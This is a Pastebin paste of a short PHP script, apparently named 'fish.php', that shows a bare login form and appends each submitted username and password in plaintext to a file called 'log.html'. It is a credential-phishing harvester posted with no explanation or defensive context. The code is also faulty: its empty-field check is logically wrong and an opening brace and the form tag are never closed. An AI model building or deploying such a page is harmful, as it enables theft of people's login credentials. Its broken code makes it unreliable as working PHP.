Advertisement
Guest User

Untitled

a guest
May 14th, 2017
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.47 KB | None | 0 0
  1. <?php
  2.  
  3. $username = $_POST['user'];
  4. $password = $_POST['pass'];
  5.  
  6. print '<html>';
  7. print '<form action = "fish.php" method = "post">';
  8. print '<body bgcolor="black">';
  9. print 'User: <input type = "input" name = "user">';
  10. print 'Pass: <input type = "input" name = "pass">';
  11. print '<br/>';
  12. print '<input type = "submit">';
  13.  
  14.  if ($username && $password == NULL ) exit();
  15.  else {
  16.  
  17. $fh = fopen("log.html","a");
  18.  
  19. fwrite($fh,"$username :: $password<br>");
  20.  
  21. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement